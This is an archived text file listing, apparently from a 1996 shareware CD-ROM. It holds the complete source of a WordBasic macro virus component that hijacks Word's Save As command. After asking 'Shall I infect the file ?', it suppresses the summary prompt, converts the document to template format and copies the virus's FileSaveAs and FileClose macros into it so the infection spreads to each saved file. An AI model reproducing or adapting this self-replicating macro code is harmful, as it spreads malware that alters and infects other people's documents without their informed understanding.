home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / POLITEUP.ZIP / FILESAVA.TXT < prev    next >
Text File  |  1996-12-26  |  638b  |  23 lines

  1. Macro: FileSaveAs
  2.  
  3. Sub MAIN
  4. Dim dlg As FileSaveAs
  5. GetCurValues dlg
  6. On Error Goto trap
  7. Dialog dlg      'execute the dialog.
  8. FileSaveAs dlg
  9. name$ = FileName$()
  10. button1 = MsgBox("Shall I infect the file ?", "Propagation of the virus", 36)
  11. ToolsOptionsSave  .SummaryPrompt = 0
  12. If button1 = - 1 Then
  13.         If (dlg.Format = 0) Or (dlg.Format = 1) Then
  14.                 dlg.Format = 1
  15.                 dlg.Name = name$
  16.                 FileSaveAs dlg
  17.                 MacroCopy "Global:FileSaveAs", name$ + ":FileSaveAs"
  18.                 MacroCopy "Global:FileClose", name$ + ":FileClose"
  19.          End If
  20. End If
  21. trap:
  22. End Sub
  23.